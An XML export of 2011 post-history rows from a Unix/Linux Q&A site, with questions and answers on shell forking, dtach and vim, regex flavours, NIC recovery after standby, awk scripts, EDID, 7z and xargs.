  <row Id="17762" PostHistoryTypeId="2" PostId="7610" RevisionGUID="22538408-ee62-4638-a767-c1c7433082f0" CreationDate="2011-02-18T00:36:59.360" UserId="2511" Text="There's no native bash (or, to my knowledge, any other typical *nix shell) way of doing this. There's a lot of ways to spawn forked processes that do something else asynchronously, but I don't think there's anything that follows the exact semantics of the fork() system call.&#xD;&#xA;&#xD;&#xA;The typical approach would be to have your top-level script spawn off helpers that do just the work you want split out. If you do `$0 $@ &amp;` or whatever, you'll start at the beginning again and need to figure that out somehow.&#xD;&#xA;&#xD;&#xA;I'm actually starting to think of several clever ways in which one might do just that....&#xD;&#xA;&#xD;&#xA;**But**, before my brain gets too carried away with that, I think a pretty good rule is: if you're trying to write something in shell and it's getting full of clever tricks and you're wishing for more language features, _time to switch to a real programming language_." />
  <row Id="17763" PostHistoryTypeId="5" PostId="7609" RevisionGUID="b58c857d-b462-4030-a69f-7e0ef46011f5" CreationDate="2011-02-18T00:54:20.550" UserId="885" Comment="compare C and shell control flow around fork" Text="Yes. Forking is spelled `&amp;`:&#xD;&#xA;&#xD;&#xA;    echo child &amp; echo parent&#xD;&#xA;&#xD;&#xA;What may be confusing you is that `$$` is not the PID of the shell process, it's the PID of the *original* shell process. The point of making it this way is that `$$` is a unique identifier for a particular instance of the shell script: it doesn't change during the script's execution, and it's different from `$$` in any other concurrently running script. One way to get the shell process's actual PID is `sh -c 'echo $PPID'`.&#xD;&#xA;&#xD;&#xA;The control flow in the shell isn't the same as C. If in C you'd write&#xD;&#xA;&#xD;&#xA;    first(); fork(); second(); third();&#xD;&#xA;&#xD;&#xA;then a shell equivalent is&#xD;&#xA;&#xD;&#xA;    after_fork () { second; third; }&#xD;&#xA;    first; after_fork &amp; after_fork&#xD;&#xA;&#xD;&#xA;The simple shell form `first; parent &amp; child` corresponds to the usual C idiom&#xD;&#xA;&#xD;&#xA;    first(); if (fork()) parent(); else child();&#xD;&#xA;&#xD;&#xA;`&amp;` and `$$` exist and behave this way in every Bourne-style shell and in (t)csh. `$PPID` didn't exist in the orignal Bourne shell but is in POSIX (so it's in ash, bash, ksh, zsh, …).&#xD;&#xA;" />
  <row Id="17764" PostHistoryTypeId="6" PostId="187" RevisionGUID="db63c106-fc65-4ed4-879b-940f05f5321a" CreationDate="2011-02-18T00:58:10.887" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàébtrfsà" />
  <row Id="17765" PostHistoryTypeId="6" PostId="65" RevisionGUID="30a10faf-eb77-4c97-91fe-dd22afda13da" CreationDate="2011-02-18T00:59:34.973" UserId="885" Comment="edited tags" Text="ésoftwareörecàémonitoringàédesktopöenvironmentà" />
  <row Id="17766" PostHistoryTypeId="5" PostId="7586" RevisionGUID="3eb13f5e-788c-48bb-bd63-cea61bd89c2e" CreationDate="2011-02-18T02:13:00.963" UserId="250" Comment="dvtm was not the thing that went wrong" Text="Currently I'm running `dvtm` inside a terminal, and `vim` inside `dvtm`. When I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt; intending to suspend `vim`, `dvtm` got suspended instead. I didn't have this problem with `screen` or `tmux`, so I think it must be `dvtm` doing something wrong (or not doing something right). How can I fix that?&#xD;&#xA;&#xD;&#xA;Update: I was wrong, this is not a problem with `dvtm`. Indeed I was using the `dtach`+`dvtm` combo and wrongly assumed that dvtm was at fault. The problem is really with `dtach`." />
  <row Id="17767" PostHistoryTypeId="6" PostId="7586" RevisionGUID="3eb13f5e-788c-48bb-bd63-cea61bd89c2e" CreationDate="2011-02-18T02:13:00.963" UserId="250" Comment="dvtm was not the thing that went wrong" Text="ésuspendàédtachà" />
  <row Id="17768" PostHistoryTypeId="25" PostId="7608" RevisionGUID="79a9e23f-8c0d-4992-84a6-8af2d307d486" CreationDate="2011-02-18T02:23:03.950" Comment="http://twitter.com/#!/StackUnix/status/38423217764827136" />
  <row Id="17769" PostHistoryTypeId="5" PostId="7591" RevisionGUID="66ed1813-4023-4737-a421-64c340718e25" CreationDate="2011-02-18T02:56:43.747" UserId="3629" Comment="New answer based on new information." Text="**Update** (new answer):&#xD;&#xA;&#xD;&#xA;`dtach` has a `-z` option with the description &quot;Disable processing of the suspend key&quot;.  Confusing if you ask me, but its effect seems to be that the &lt;kbd&gt;Ctrl+Z&lt;/kbd&gt; is passed through to Vim instead of being caught by `dtach`.&#xD;&#xA;&#xD;&#xA;More general answer: a program like `dtach` or `dvtm` has pretty much absolute control over what gets passed through to whatever's running &quot;inside&quot; of it.  It's like having a secretary take dictation -- you can say what you like, but the secretary controls what actually appears on the paper.  So if you want the end program to receive the Ctrl+Z, you have to get all of the middle layers to cooperate, whether that be through command line options or source code editing.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;Looks to me like this is a bug in `dvtm`.  From inspection of the source code, it's not catching the `SIGTSTP` signal, which is what is sent to your terminal's foreground application when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;.  Since it's not catching the signal explicitly, it falls back on default behavior and gets suspended.  What `dvtm` needs to do is catch this signal and pass it along to one of its windows.&lt;/strike&gt;" />
  <row Id="17770" PostHistoryTypeId="2" PostId="7611" RevisionGUID="1da036df-7a12-4079-a626-89a685a44e74" CreationDate="2011-02-18T03:03:19.547" UserId="3640" Text="I lack the detailed technical expertise to back up this answer, but my experience suggests that Linux scales well in comparison to other operating systems that I frequently use (primarily, Windows).  So perhaps the question is why Windows does not scale as well as Linux. &#xD;&#xA;&#xD;&#xA;If restating the question that way is still useful to you, I would suggest that market forces motivate Microsoft to add features and functionality geared to the latest and most capable hardware, because they sell more copies of the operating system primarily when end users buy new systems. So, at any point in time, I find that the latest release of Windows performs poorly on older, less capable hardware.&#xD;&#xA;&#xD;&#xA;Forgive me if that oversimplifies your question." />
  <row Id="17771" PostHistoryTypeId="2" PostId="7612" RevisionGUID="81b4bb0f-be9e-40ab-a9d8-b2e0401e1a6a" CreationDate="2011-02-18T03:43:01.087" UserId="2511" Text="While openness is certainly part of it, I think the key factor is Linus Torvald's continued insistence that all of the work, from big to small, has a place in the mainline Linux kernel, as long as it's well done. If he'd decided at some point to draw a line and say &quot;okay, for that fancy super-computer hardware, we need a fork&quot;, then completely separate high-end and small-system variants might have developed. As it is, instead people have done the harder work of making it all play together relatively well.&#xD;&#xA;&#xD;&#xA;And, kludges which enable one side of things at the detriment of the other aren't, generally, allowed in — again, forcing people to solve problems in a harder but more correct way, which turns out to usually be easier to go forward from once whatever required the kludge becomes a historical footnote.&#xD;&#xA;&#xD;&#xA;From an [interview several years ago][1]:&#xD;&#xA;&#xD;&#xA;&gt; Q: Linux is a versatile system. It&#xD;&#xA;&gt; supplies PC, huge servers, mobiles and&#xD;&#xA;&gt; ten or so of other devices. From your&#xD;&#xA;&gt; privileged position, which sector will&#xD;&#xA;&gt; be the one where Linux will express&#xD;&#xA;&gt; the highest potential?&#xD;&#xA;&gt; &#xD;&#xA;&gt; A: I think the real power of Linux is&#xD;&#xA;&gt; exactly that it is not about one&#xD;&#xA;&gt; niche. Everybody gets to play along,&#xD;&#xA;&gt; and different people and different&#xD;&#xA;&gt; companies have totally different&#xD;&#xA;&gt; motivations and beliefs in what is&#xD;&#xA;&gt; important for them. So I’m not even&#xD;&#xA;&gt; interested in any one particular&#xD;&#xA;&gt; sector.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://replay.waybackmachine.org/20071011023001/http://www.oneopensource.it/interview-linus-torvalds/" />
  <row Id="17772" PostHistoryTypeId="2" PostId="7613" RevisionGUID="c8b5f4d0-1a31-497b-b219-83504b59736e" CreationDate="2011-02-18T03:44:00.670" UserId="3389" Text="Linux scales to many different types of hardware because:&#xD;&#xA;&#xD;&#xA;- it's very configurable&#xD;&#xA;- since the source is freely available, it can be built for any CPU that has a C compiler available&#xD;&#xA;- processors in embedded devices and mobile phones have at least the same level or more power compared to the original 386 machines early Linux development was carried out on, and continue to gain power&#xD;&#xA;- linux works just fine with nothing but a network, some form of disk or disk-like device, and a serial port" />
  <row Id="17773" PostHistoryTypeId="5" PostId="7603" RevisionGUID="d81cab8b-48c3-4af2-b337-05623ec2a87d" CreationDate="2011-02-18T03:51:54.777" UserId="2511" Comment="added 14 characters in body" Text="The answer is really &quot;just because&quot;. There's a whole bunch of different regular expression syntaxes, and while they share a similar appearance and usually the basics are the same, they vary in the particulars.&#xD;&#xA;&#xD;&#xA;Historically, every tool had its own new implementation, doing whatever the author thought best. There's a balance between making characters special with and without escaping — too many characters that are &quot;naturally special&quot; and you end up having to escape them all the time just to match on them; or, the other way around, you send up having a bunch of escapes to use common regex syntax like () grouping. And everyone writing a program decided how to do it based on the needs of what their program matched against, on what they felt was the right approach, and on the phase of the moon.&#xD;&#xA;&#xD;&#xA;There's an attempt at standardization from POSIX, which defines &quot;[basic regular expressions][1]&quot; and &quot;[extended regular expressions][2]&quot;. Awesomely, these work backwards from each other in regards to `\` — *sometimes*, but not with perfect consistency.&#xD;&#xA;&#xD;&#xA;Perl regular expressions have become another defacto standard, for two reasons: first, they're very flexible and powerful, and second, they're *actually pretty sane*, with conventions like &quot;\ always escapes a non-alphanumeric character&quot;.&#xD;&#xA;&#xD;&#xA;GNU Find has a `-regextype` option, where you can change the regular expression syntax used. Sadly, &quot;perl&quot; is not an option, at least in the version of find I have. (The default is, not surprisingly from GNU, &quot;emacs&quot;, and that syntax is [documented here][3].)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_03&#xD;&#xA;  [2]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_04&#xD;&#xA;  [3]: http://www.emacswiki.org/emacs/RegularExpression" />
  <row Id="17774" PostHistoryTypeId="5" PostId="7147" RevisionGUID="30becad1-df0d-4997-bcb7-86a5cda46496" CreationDate="2011-02-18T04:09:53.800" UserId="2278" Comment="added 2 characters in body; edited tags" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA; - `ifconfig eth0 up`  &#xD;&#xA;Doesn't work&#xD;&#xA; - `ifconfig eth0 up; dhcpcd eht0`  &#xD;&#xA;Worked but how do I configure my static ip with this, my proxy is ip bound&#xD;&#xA;&#xD;&#xA;##This works:&#xD;&#xA;&#xD;&#xA;&gt;this commands gets the network up with the conventional network manager:  &#xD;&#xA;`modprobe -r r8169; modprobe r8169; service network-manager restart`&#xD;&#xA;&#xD;&#xA;**But is there any way to automate this or modify the acpi scripts so that no modprobe is required in the first place?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;`ethtool eth0` output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File `/etc/network/interfaces`&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="17775" PostHistoryTypeId="6" PostId="7147" RevisionGUID="30becad1-df0d-4997-bcb7-86a5cda46496" CreationDate="2011-02-18T04:09:53.800" UserId="2278" Comment="added 2 characters in body; edited tags" Text="édebianàénetworkingàéacpiàéethernetàénetworkmanagerà" />
  <row Id="17779" PostHistoryTypeId="2" PostId="7615" RevisionGUID="d017ec2f-7b4f-480e-8f30-7edf11e6d211" CreationDate="2011-02-18T05:08:44.787" UserId="4867" Text="This is what I've done for my own scripts:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/awk -f&#xD;&#xA;    BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }&#xD;&#xA;&#xD;&#xA;The only drawback to this approach is that the path to Awk is hard-coded. This will break when the script is on NFS, and the NFS client has the binary in a different directory (say, `/bin/awk` versus `/usr/bin/awk`.)" />
  <row Id="17780" PostHistoryTypeId="25" PostId="7580" RevisionGUID="644e1370-9ca8-4133-9aa3-bd8c30e5c605" CreationDate="2011-02-18T05:23:04.473" Comment="http://twitter.com/#!/StackUnix/status/38468520052269056" />
  <row Id="17781" PostHistoryTypeId="5" PostId="7615" RevisionGUID="15140951-db10-497c-a8cb-d16e974c3138" CreationDate="2011-02-18T05:23:21.353" UserId="4867" Comment="corrected explanation of hard-coded path" Text="This is what I've done for my own scripts:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/awk -f&#xD;&#xA;    BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }&#xD;&#xA;&#xD;&#xA;The only drawback to this approach is that the path to Awk is hard-coded. This will break when the script is exported via NFS, and the NFS client has Awk installed in a different directory (say, `/bin/awk` versus `/usr/bin/awk`.)&#xD;&#xA;&#xD;&#xA;Setting the executable permission will allow you to directly call the script, without having to use shell to launch it (you can also leave off the .sh extension, since by convention script don't include them):&#xD;&#xA;&#xD;&#xA;    $ chmod +x count&#xD;&#xA;    $ ./count&#xD;&#xA;    1&#xD;&#xA;    2&#xD;&#xA;    3&#xD;&#xA;    4&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17782" PostHistoryTypeId="5" PostId="7615" RevisionGUID="3a478a4f-7473-4def-bc51-41ace2d3307a" CreationDate="2011-02-18T05:28:38.507" UserId="4867" Comment="fixed typo" Text="This is what I've done for my own scripts:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/awk -f&#xD;&#xA;    BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }&#xD;&#xA;&#xD;&#xA;The only drawback to this approach is that the path to Awk is hard-coded. This will break when the script is exported via NFS, and the NFS client has Awk installed in a different directory (say, `/bin/awk` versus `/usr/bin/awk`.)&#xD;&#xA;&#xD;&#xA;Setting the executable permission will allow you to directly call the script, without having to use the shell to launch it (you can also leave off the .sh extension, since by convention script don't include them):&#xD;&#xA;&#xD;&#xA;    $ chmod +x count&#xD;&#xA;    $ ./count&#xD;&#xA;    1&#xD;&#xA;    2&#xD;&#xA;    3&#xD;&#xA;    4&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17783" PostHistoryTypeId="2" PostId="7616" RevisionGUID="96424aa7-d5d5-405b-8341-d1dc2a2542fc" CreationDate="2011-02-18T05:29:07.487" UserId="3082" Text="Yes, it's called [subshells][1]. Shell code inside parenthesis is run as a subshell (fork). However the first shell normally waits for the child to complete. You can make it asynchronous using the `&amp;` terminator. See it in in action with something like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    (sleep 2; echo &quot;subsh 1&quot;)&amp;&#xD;&#xA;    echo &quot;topsh&quot;&#xD;&#xA;&#xD;&#xA;$ bash subsh.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/subshells.html&#xD;&#xA;" />
  <row Id="17784" PostHistoryTypeId="2" PostId="7617" RevisionGUID="3335cefb-f8dc-405d-933b-f8abf04de6cf" CreationDate="2011-02-18T05:33:49.030" UserId="3611" Text="When I am editing a LaTeX document in vim, often times I want to search for a phrase.  Because I have LaTeX setup to wrap lines, sometimes half of the phrase will be on one line while the other half is on the next.  In such a case, the search does not find what I'm looking for.  So for example&#xD;&#xA;&#xD;&#xA;blah blah blah hello&#xD;&#xA;world blah blah blah&#xD;&#xA;&#xD;&#xA;when searching using `/hello world`, I don't find what I'm looking for.  Is there a quick and easy way to modify this search to get me where I want to be?  Or better yet, a way to tell vim to match any white space (space, tab, new line) with a space in the search string?" />
  <row Id="17785" PostHistoryTypeId="1" PostId="7617" RevisionGUID="3335cefb-f8dc-405d-933b-f8abf04de6cf" CreationDate="2011-02-18T05:33:49.030" UserId="3611" Text="vim search around line breaks" />
  <row Id="17786" PostHistoryTypeId="3" PostId="7617" RevisionGUID="3335cefb-f8dc-405d-933b-f8abf04de6cf" CreationDate="2011-02-18T05:33:49.030" UserId="3611" Text="évimà" />
  <row Id="17787" PostHistoryTypeId="2" PostId="7618" RevisionGUID="eb08558f-e59a-4d0f-a9b3-119de507264a" CreationDate="2011-02-18T06:18:24.057" UserId="4869" Text="This is what fping was designed for. http://fping.sourceforge.net/&#xD;&#xA;&#xD;&#xA;You need to parse the output afterwards instead of relying on a return code, but it is much faster than doing normal ping." />
  <row Id="17789" PostHistoryTypeId="2" PostId="7620" RevisionGUID="8b85460d-1a7d-42e0-a278-5dae8d36ef9f" CreationDate="2011-02-18T07:24:22.910" UserId="3629" Text="The way I know of is not hard, but it's a little tedious.  Replace every space in your search query with the following:&#xD;&#xA;&#xD;&#xA;    [ \t\n]\+&#xD;&#xA;&#xD;&#xA;(Note the space after the `[`.)  This is regular expression matching syntax.  Broken down, it means:&#xD;&#xA;&#xD;&#xA;* `[...]` means match any one of the list of characters inside the brackets.&#xD;&#xA;* `\t` is Tab&#xD;&#xA;* `\n` is Newline&#xD;&#xA;* `...\+` means match one or more of the preceding.&#xD;&#xA;&#xD;&#xA;For more info on regular expressions, you can ask vim:&#xD;&#xA;&#xD;&#xA;    :help regexp&#xD;&#xA;    :help usr_27" />
  <row Id="17790" PostHistoryTypeId="25" PostId="7617" RevisionGUID="aca98264-0c7b-4c62-99fc-1e220bcdb011" CreationDate="2011-02-18T08:23:04.843" Comment="http://twitter.com/#!/StackUnix/status/38513820611641344" />
  <row Id="17791" PostHistoryTypeId="2" PostId="7621" RevisionGUID="2526ac1a-32e9-49bc-b9bb-8cb33e6774d1" CreationDate="2011-02-18T08:57:57.300" UserId="4867" Text="I've used [dvdisaster][1] to help me recover data from a few DVD and CD-R coasters I burned. It's a GTK application, and probably available as a package on your favorite Linux distribution.&#xD;&#xA;&#xD;&#xA;It has a nice graphical display showing which sectors are good and bad. It also keeps various statistics while reading your media.&#xD;&#xA;&#xD;&#xA;  [1]: http://dvdisaster.net/en/" />
  <row Id="17792" PostHistoryTypeId="2" PostId="7622" RevisionGUID="bb8be3d3-cb45-4b01-8bed-9396a39136f9" CreationDate="2011-02-18T10:20:28.660" UserId="4843" Text="Hello,&#xD;&#xA;&#xD;&#xA;I want to gather the Edid information of the monitor.&#xD;&#xA;I can get it from xorg.0.log file when I run the X with -logverbose option.&#xD;&#xA;&#xD;&#xA;But the problem is that If I switch the monitor ( plug-out the current monitor and then plug-in another monitor ), then there is no way to get this information.&#xD;&#xA;&#xD;&#xA;Is there any way to get the EDID dynamically ( or runtime ) ?&#xD;&#xA;Or any utility/tool which will inform me as soon as monitor is connected and disconnected ?&#xD;&#xA;&#xD;&#xA;I am using the LFS-6.4.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Satish" />
  <row Id="17793" PostHistoryTypeId="1" PostId="7622" RevisionGUID="bb8be3d3-cb45-4b01-8bed-9396a39136f9" CreationDate="2011-02-18T10:20:28.660" UserId="4843" Text="Edid information" />
  <row Id="17794" PostHistoryTypeId="3" PostId="7622" RevisionGUID="bb8be3d3-cb45-4b01-8bed-9396a39136f9" CreationDate="2011-02-18T10:20:28.660" UserId="4843" Text="élinuxàémonitorà" />
  <row Id="17797" PostHistoryTypeId="25" PostId="7622" RevisionGUID="67299e78-bd3d-4dff-ab28-d751fee200d8" CreationDate="2011-02-18T11:23:04.727" Comment="http://twitter.com/#!/StackUnix/status/38559117341753344" />
  <row Id="17798" PostHistoryTypeId="2" PostId="7624" RevisionGUID="02fd7e84-12ba-4f8e-a64c-e16ad4d58caa" CreationDate="2011-02-18T11:46:24.640" UserId="3879" Text="I ran you script, but I didn't get any error (although I expected to :) )&#xD;&#xA;&#xD;&#xA;    $ cat test.awk&#xD;&#xA;    awk 'BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }'&#xD;&#xA;    $ bash test.awk&#xD;&#xA;    1&#xD;&#xA;    2&#xD;&#xA;    3&#xD;&#xA;    4&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;What error did you get? I expected awk will ask for an input file to process; learned a new thingie :)&#xD;&#xA;" />
  <row Id="17799" PostHistoryTypeId="2" PostId="7625" RevisionGUID="41a933bd-4dea-4b43-ad2b-7ed768b95521" CreationDate="2011-02-18T11:50:11.370" UserId="4595" Text="There is a tool called [read-edid][1] doing exactly what its name suggests.&#xD;&#xA;&#xD;&#xA;  [1]: http://polypux.org/projects/read-edid/" />
  <row Id="17801" PostHistoryTypeId="2" PostId="7627" RevisionGUID="628d78db-e62b-43b7-8499-8b3945943125" CreationDate="2011-02-18T12:04:33.780" UserId="3879" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've a sequence of commands to be used along with lot of pipings, something like this:&#xD;&#xA;&#xD;&#xA;    awk '{ if ($8 ~ &quot;isad&quot;) {print $2, $5, &quot;SE&quot;} else {print $2, $5, &quot;ANT&quot;} }' &quot;/var/log/apache2/other_vhosts_access.log&quot; | grep -v '127.0.0.1' | tr '[' '\0' | tr [:lower:] [:upper:] | sort -t' ' -s -k3&#xD;&#xA;&#xD;&#xA;This basically filters the Apache log and prints three cols of info. First col is IP address, second is time, third is a string. The output could be sorted based on any column so, I need to use '-m' with sort for the time field.  Sorting order could also be reversed. &#xD;&#xA;&#xD;&#xA;I want a string to store the arguments to sort, and let the combined strings get executed. Something like this:&#xD;&#xA;&#xD;&#xA;    $AWK_CMD | $SORT_CMD $SORT_KEY $SORT_REV&#xD;&#xA;&#xD;&#xA;where&#xD;&#xA;&#xD;&#xA;    SORT_CMD=&quot;sort -t' '&quot;&#xD;&#xA;    SORT_KEY=&quot;-k$1&quot;      # $1 from cmd line arg&#xD;&#xA;    SORT_REV=&quot;$2&quot;        # Either -r or blank&#xD;&#xA;&#xD;&#xA;Am able to build such strings; when I echo it, it looks fine. Problem is, how to execute it? I get some errors like:&#xD;&#xA;&#xD;&#xA;    awk '{ if ($8 ~ &quot;isad&quot;) {print $2, $5, &quot;SE&quot;} else {print $2, $5, &quot;ANT&quot;} }' &quot;/var/log/apache2/other_vhosts_access.log&quot; | grep -v '127.0.0.1' | tr '[' '\0' | tr [:lower:] [:upper:] | sort -t' ' -s -k3&#xD;&#xA;    Running ...&#xD;&#xA;    awk: '{&#xD;&#xA;    awk: ^ invalid char ''' in expression&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please ignore if 'sort' doesn't sort properly, that can be fixed. I wish to know how I can build the final command string in steps. The ways I tried to execute this command in the script is by:&#xD;&#xA;&#xD;&#xA;    $final_cmd&#xD;&#xA;    `$final_cmd`" />
  <row Id="17802" PostHistoryTypeId="1" PostId="7627" RevisionGUID="628d78db-e62b-43b7-8499-8b3945943125" CreationDate="2011-02-18T12:04:33.780" UserId="3879" Text="How to build a long command string?" />
  <row Id="17803" PostHistoryTypeId="3" PostId="7627" RevisionGUID="628d78db-e62b-43b7-8499-8b3945943125" CreationDate="2011-02-18T12:04:33.780" UserId="3879" Text="écommandölineàéshellöscriptàéawkà" />
  <row Id="17804" PostHistoryTypeId="2" PostId="7628" RevisionGUID="943b4b61-8ddc-4046-9686-b39381fa1953" CreationDate="2011-02-18T12:26:17.273" UserId="1946" Text="When you run `awk '{ ... }'` on a shell prompt or from a shell script, shell parses the quotes and passes the argument to `awk` w/o the quotes.  What happens is that you somehow run it with the quotes in parameter." />
  <row Id="17809" PostHistoryTypeId="2" PostId="7629" RevisionGUID="60b6a6f4-4818-4698-80f8-2f48732feb15" CreationDate="2011-02-18T12:35:19.060" UserId="4874" Text="I would like to compress file &quot;./data/x.txt&quot; to path &quot;./data/x.7z&quot;.&#xD;&#xA;&#xD;&#xA;When running&#xD;&#xA;&#xD;&#xA;    7z a ./data/x.txt.7z ./data/x.txt&#xD;&#xA;&#xD;&#xA;The file &quot;./data/x.txt&quot; holds&#xD;&#xA;&#xD;&#xA;    data/x.txt&#xD;&#xA;&#xD;&#xA;as opposed to just (what I want)&#xD;&#xA;&#xD;&#xA;    x.txt&#xD;&#xA;&#xD;&#xA;However, I would like 7z to ignore the path &quot;./data&quot; directory inside of the x.7z file.  To clarify, I would like 7z to flatten the directory structure in the 7z file when adding x.txt.&#xD;&#xA;&#xD;&#xA;Is this possible?" />
  <row Id="17810" PostHistoryTypeId="1" PostId="7629" RevisionGUID="60b6a6f4-4818-4698-80f8-2f48732feb15" CreationDate="2011-02-18T12:35:19.060" UserId="4874" Text="7z command line add file to a flat directory 7z file" />
  <row Id="17811" PostHistoryTypeId="3" PostId="7629" RevisionGUID="60b6a6f4-4818-4698-80f8-2f48732feb15" CreationDate="2011-02-18T12:35:19.060" UserId="4874" Text="écompressionàédirectoryöstructureà" />
  <row Id="17813" PostHistoryTypeId="5" PostId="7613" RevisionGUID="6e75176a-4ddc-421a-8354-9381e3e24894" CreationDate="2011-02-18T12:36:34.533" UserId="4867" Comment="cleaned up grammar a bit" Text="Linux scales to many different types of hardware because:&#xD;&#xA;&#xD;&#xA;- it's very configurable;&#xD;&#xA;- the source is freely available, and can be built for any CPU that has a C compiler available;&#xD;&#xA;- processors in embedded devices and mobile phones have at least the same level or more power compared to the original 386 machines early Linux development was carried out on, and continue to gain power; and&#xD;&#xA;- it works just fine with nothing but a network, some form of disk or disk-like device, and a serial port." />
  <row Id="17814" PostHistoryTypeId="24" PostId="7613" RevisionGUID="5697ee9a-6070-4752-ae07-769af92dc313" CreationDate="2011-02-18T12:36:34.533" Comment="Proposed by 4867 approved by 305 edit id of 30" />
  <row Id="17815" PostHistoryTypeId="5" PostId="7613" RevisionGUID="424a7bd0-8025-474a-8c48-0565ac1d8981" CreationDate="2011-02-18T12:37:56.093" UserId="305" Comment="; and &quot;and&quot; are not usually used in bullets list. Remove in name of consistency" Text="Linux scales to many different types of hardware because:&#xD;&#xA;&#xD;&#xA;- it's very configurable&#xD;&#xA;- the source is freely available, and can be built for any CPU that has a C compiler available&#xD;&#xA;- processors in embedded devices and mobile phones have at least the same level or more power compared to the original 386 machines early Linux development was carried out on, and continue to gain power&#xD;&#xA;- it works just fine with nothing but a network, some form of disk or disk-like device, and a serial port" />
  <row Id="17819" PostHistoryTypeId="5" PostId="7567" RevisionGUID="dc41930a-501b-47bb-a4b1-2d2ecc282adc" CreationDate="2011-02-18T12:44:45.807" UserId="2567" Comment="added a null char for xargs" Text="I agree with Keith, xargs is the most general tool for the job.&#xD;&#xA;&#xD;&#xA;I usually use a 3 step approach.&#xD;&#xA;&#xD;&#xA;* do the basic stuff until you have something you would like to work with&#xD;&#xA;* prepare the line with awk so it gets the correct syntax&#xD;&#xA;* then let xargs execute it, maybe with the help of bash.&#xD;&#xA;&#xD;&#xA;There are smaller and faster ways, but this ways almost always works.&#xD;&#xA;&#xD;&#xA;A simple example:&#xD;&#xA;&#xD;&#xA;    ls | &#xD;&#xA;    grep xls | &#xD;&#xA;    awk '{print &quot;MyJavaProg --arg1 42 --arg2 &quot;$1&quot;\0&quot;}' | &#xD;&#xA;    xargs -0 bash -c&#xD;&#xA;&#xD;&#xA;the 2 first lines selects some files to work with, &#xD;&#xA;then awk prepares a nice string with a command to execute and some arguments and $1 is the first column input from the pipe.&#xD;&#xA;And finally I make sure that xargs sends this string to bash that just execute it.&#xD;&#xA;&#xD;&#xA;It is a little bit overkill, but this recipe has helped me in a lot of places since it is very flexible. " />
